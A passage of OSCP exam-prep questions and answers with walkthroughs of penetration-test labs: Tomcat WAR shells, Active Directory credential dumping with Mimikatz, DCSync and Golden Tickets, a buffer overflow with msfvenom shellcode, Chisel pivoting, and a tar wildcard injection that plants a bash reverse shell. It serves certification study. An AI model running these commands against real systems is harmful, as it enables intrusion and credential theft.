Complete Windows machine walkthrough: (1) Nmap ▢ ports 80(IIS), 135(RPC), 139(NetBIOS), 445(SMB), 3389(RDP), 8080(Tomcat); (2) Gobuster on :80 ▢ finds nothing interesting; (3) Port 8080 ▢ Tomcat 9.0.30 ▢ /manager ▢ try credentials ▢ tomcat/tomcat ▢ works; (4) msfvenom ▢ WAR payload ▢ deploy via manager; (5) Trigger WAR ▢ shell as SYSTEM (Tomcat running as SYSTEM — misconfiguration); (6) 'whoami' ▢ 'NT AUTHORITY\SYSTEM' already; (7) 'type C:\Users\Administrator\Desktop\proof.txt' ▢ proof captured. Screenshot: SYSTEM prompt + hostname + proof.txt. Alternatively if Tomcat runs as service account: WinPEAS ▢ SelpersonatePrivilege ▢ PrintSpoofer ▢ SYSTEM.

Q289 QUESTION

Walk through an OSCP Active Directory machine chain.

ANSWER

AD chain walkthrough: (1) Nmap finds DC (ports 88, 389, 445, 5985) and two workstations; (2) SMB on workstation1 ▢ enum4linux ▢ users: alice, bob, administrator; (3) Password spray 'Password123' ▢ alice works; (4) evil-winrm to workstation1 as alice; (5) WinPEAS ▢ SelpersonatePrivilege; (6) PrintSpoofer ▢ SYSTEM on workstation1; (7) Mimikatz sekurlsa::logonpasswords ▢ bob's cleartext password cached; (8) bob's password on workstation2 ▢ administrator on workstation2 (local admin reuse); (9) Mimikatz on workstation2 ▢ domain admin 'svcbackup' credentials; (10) evil-winrm to DC as svcbackup; (11) secretdump ▢ all hashes; (12) Administrator hash ▢ DC proof. BloodHound could have mapped this path upfront.

Q290 QUESTION

Walk through a web application OSCP compromise.

ANSWER

Web application OSCP walkthrough: (1) Nmap ▢ port 80 only, Apache 2.4.41; (2) WhatWeb ▢ Joomla 3.9.12; (3) searchsploit 'joomla 3.9' ▢ finds CVE-2019-10945 — path traversal; (4) Exploit ▢ read configuration.php ▢ database credentials; (5) Log into MySQL ▢ Joomla users table ▢ admin hash; (6) Hashcat cracks ▢ admin:joomlaadmin; (7) Log into Joomla admin ▢ Extensions ▢ Templates ▢ edit error.php ▢ add PHP webshell; (8) Access /templates/error.php?cmd=id ▢ www-data; (9) Reverse shell ▢ www-data; (10) 'sudo -l' ▢ '(root) NOPASSWD: /usr/bin/curl'; (11) GTFOBins curl sudo: 'sudo curl file:///etc/shadow -o /tmp/shadow' ▢ read shadow ▢ john cracks root password ▢ 'su root' ▢ root shell.

Q291 QUESTION

What is the OSCP buffer overflow walkthrough?

ANSWER

OSCP buffer overflow walkthrough on vulnerable service: (1) Nmap finds port 9999 running 'brainpan' or similar; (2) Fuzzing: 'python3 fuzzer.py' □ crash at ~700 bytes; (3) Pattern: msf-pattern_create -l 1000 □ send □ EIP = 35694234; (4) Offset: msf-pattern_offset -l 1000 -q 35694234 □ offset = 524; (5) Verify: 524 A + 4 B + 500 C □ EIP = 42424242 □; (6) Bad chars: send \x01-\xff □ compare in Immunity □ bad: \x00\x0a; (7) JMP ESP: '!mona jmp -r esp -cpb "\x00\x0a" □ 0x311712f3; (8) msfvenom: 'msfvenom -p linux/x86/shell_reverse_tcp LHOST=IP LPORT=4444 -b "\x00\x0a" -f python'; (9) Exploit: 524 A + pack('<l', 0x311712f3) + \x90*16 + shellcode; (10) 'nc -lvnp 4444' □ shell received.

Q292 QUESTION

What is pivoting scenario in OSCP?

ANSWER

Pivoting OSCP scenario: (1) Compromise Machine A (192.168.119.x — your network) via web exploit; (2) 'ip route' on Machine A shows 10.10.10.0/24 (internal network); (3) Upload Chisel to Machine A; (4) Kali: 'chisel server -p 8080 --reverse'; (5) Machine A: './chisel client kali_IP:8080 R:socks'; (6) Proxychains configured □ socks5 127.0.0.1 1080; (7) 'proxychains nmap -sT -Pn -p 22,80,445,3389,5985 10.10.10.1-254 --open' □ discovers Machine B (10.10.10.5) with 445,5985; (8) Password reuse: try credentials from Machine A against Machine B via proxychains; (9) 'proxychains crackmapexec smb 10.10.10.5 -u admin -p password' □ works; (10) 'proxychains evil-winrm -i 10.10.10.5 -u admin -p password' □ shell on internal machine.

Q293 QUESTION

What is the OSCP methodology flowchart?

ANSWER

OSCP decision flowchart: START □ Nmap all ports □ Any HTTP? YES □ gobuster + nikto + manual browse □ Any CMS? □ wpscan/droopescan □ Any exploits? □ Exploit. Any credentials found? □ Spray all services. Any file upload? □ Bypass + webshell. Any injection? □ SQLi/Command/SSTI. NO HTTP □ SMB? □ enum4linux + smbclient + check shares. FTP? □ anonymous login + list files. SSH? □ try found credentials + key files. After initial shell □ upgrade TTY □ run LinPEAS/WinPEAS □ check all PrivEsc vectors □ escalate. After root/SYSTEM □ cat proof.txt □ screenshot □ document everything □ try credentials on other machines (pivot). Repeat for each machine. Remember: when stuck □ enumerate more □ check all ports □ try all found credentials.

Q294 QUESTION

What are OSCP quick wins to always try first?

ANSWER

OSCP quick wins (try these before complex exploitation): (1) Default credentials on every service — tomcat/tomcat, admin/admin, anonymous FTP, root with blank MySQL password; (2) Version number □ searchsploit □ is there an exact match RCE?; (3) SMB — EternalBlue check: 'nmap --script smb-vuln-ms17-010'; (4) Anonymous FTP — 'ftp target' + anonymous/anonymous □ ls -la; (5) Open file shares — smbclient connect anonymously □ look for files; (6) robots.txt and /backup — often discloses sensitive paths or files; (7) View-source — HTML comments with credentials or paths; (8) Web app version □ searchsploit — drupalgeddon, wordpress plugin CVEs; (9) Password reuse — try ALL found passwords on ALL services; (10) sudo -l after ANY shell — often NOPASSWD on something. 70% of OSCP machines have a quick win discoverable in first 30 minutes of thorough enumeration.

Q295 QUESTION

Walk through a complete OSCP Active Directory compromise chain.

ANSWER

AD compromise chain walkthrough: (1) Nmap subnet `□` find DC (88,389,445) + WS01 + WS02; (2) Enum4linux DC `□` users: alice, bob, svcbackup, administrator; (3) Kerbrute userenum `□` all valid; (4) AS-REP Roast (no creds): 'GetNPUsers.py corp.local/-usersfile users.txt -no-pass' `□` svcbackup has no pre-auth `□` hash; (5) Hashcat -m 18200 `□` 'Backup2021!'; (6) evil-winrm WS01 as svcbackup; (7) WinPEAS `□` SeBackupPrivilege; (8) 'reg save HKLM\SAM sam && reg save HKLM\SYSTEM sys' `□` transfer `□` secretsdump `□` admin hash; (9) PtH to WS02 as local admin `□` Mimikatz `□` 'corp\bob:Winter2022!' in cache; (10) BloodHound `□` bob has GenericAll on Domain Admins; (11) 'Add-DomainGroupMember -Identity "Domain Admins" -Members bob' `□` bob is DA; (12) evil-winrm DC as bob `□` secretsdump DCSync `□` all hashes `□` krbtgt `□` Golden Ticket.

Q296 QUESTION

What is the OSCP methodology for web-only targets?

ANSWER

Web-only target methodology (no other services): (1) Technology fingerprint: WhatWeb, curl -I, view-source; (2) Content discovery: feroxbuster (recursive) + gobuster with multiple wordlists; (3) Parameter fuzzing: wfuzz on all URL parameters; (4) CMS check: wpscan (WordPress), droopescan (Drupal/Joomla), searchsploit version; (5) Manual review: all form fields, file uploads, URL parameters, HTTP headers; (6) Authentication: default creds, SQL injection, OAuth misconfig; (7) Source code review: JavaScript files, API endpoints, git directory; (8) Vulnerability chaining: combine lower-severity findings. If authenticated: check file upload, admin features, template injection. Example: feroxbuster finds /.git `□` download with gitdumper `□` source code reveals SQL injection `□` sqlmap dumps users `□` crack hash `□` login as admin `□` template injection `□` RCE `□` shell.

Q297 QUESTION

Walk through a complete OSCP Linux PrivEsc scenario.

ANSWER

Linux PrivEsc detailed walkthrough: Initial shell as www-data via web exploit. (1) 'sudo -l' `□` 'Sorry, user www-data may not run sudo'; (2) 'find / -perm -4000 2>/dev/null' `□` /usr/local/bin/backup (SUID, not on GTFOBins); (3) 'strings /usr/local/bin/backup' `□` calls 'tar cf /backup/*.tar /home' — uses wildcard with tar; (4) Tar wildcard injection: 'echo "" > "/home/--checkpoint=1" `□` 'echo "" > "/home/--checkpoint-action=exec=sh shell.sh"; (5) Create shell.sh: 'echo "#!/bin/bash\nbash -i >& /dev/tcp/IP/5555 0>&1" > /home/shell.sh && chmod +x /home/shell.sh'; (6) Start listener port 5555; (7) Run /usr/local/bin/backup `□` tar expands wildcard `□` processes --checkpoint flags `□` executes shell.sh as root; (8) Root reverse shell received.

Q298 QUESTION

What is the OSCP machine difficulty assessment approach?

ANSWER

Assessing OSCP machine difficulty quickly: Easy indicators: one open service with known CVE, default credentials visible from banner/login, outdated software with public Metasploit module, web app with obvious injection vulnerability. Medium indicators: multiple services, requires chaining 2-3 vulnerabilities, custom exploit modification needed, non-obvious PrivEsc. Hard indicators: custom service or application, advanced PrivEsc technique, pivoting required, multiple steps with each step requiring discovery. OSCP exam strategy: spend 30 minutes assessing all machines before committing to one. Quick wins first: check all machines for low-hanging fruit (default creds, obvious CVE). If one machine seems very hard early in exam: move on, come back later. Progress = checking more attack surface, not deeper on one path. After 45 minutes on same failed attack: stop, re-enumerate, try different attack vector.

Q299 QUESTION

What is the OSCP mindset for the report writing phase?

ANSWER

Report writing mindset for OSCP success: Start during exam — do not wait until after exam ends to document. Use a notes template with sections pre-built per machine, fill in as you go. Minimum documentation per machine at time of compromise: IP, hostname, initial shell command and output, PrivEsc command and output, proof.txt screenshot. After exam ends: convert notes to formal report using official template, add context and explanation around documented commands, add remediation recommendations, add executive summary. Time allocation: budget 4-6 hours for report writing after exam. Report quality matters: unclear steps mean no credit even if you had root. Write as if explaining to a colleague who has no context about the target. Check before submission: every machine documented, all screenshots legible and show correct information, file named correctly, compressed correctly, MD5 hash generated. The report is the deliverable — without it, your technical success means nothing for exam credit.

Q300 QUESTION

What are the OSCP exam top 10 checklist items?

ANSWER

OSCP exam essential checklist: Before exam (day before): bonus report submitted, VPN pack tested, Kali tools updated, report template ready, all tools in /opt/tools/ HTTP-servable. At exam start: connect VPN and confirm tun0 IP, launch AutoRecon on ALL targets immediately, create note files per machine. During enumeration: scan all 65535 TCP ports (never just top 1000), scan top 25 UDP ports, check HTTP on every discovered port, run gobuster/feroxbuster on every web service. Exploitation: try default credentials on every service first, check searchsploit for every version found. After each shell: capture local.txt screenshot immediately (partial credit secured), upgrade to full TTY, run LinPEAS or WinPEAS. At root: capture proof.txt screenshot showing whoami plus hostname plus proof.txt in one window, submit to control panel. Documentation: write report notes immediately after each machine, do not save for after exam ends. Timing: 45-minute max per failed attack vector then pivot to different machine or approach.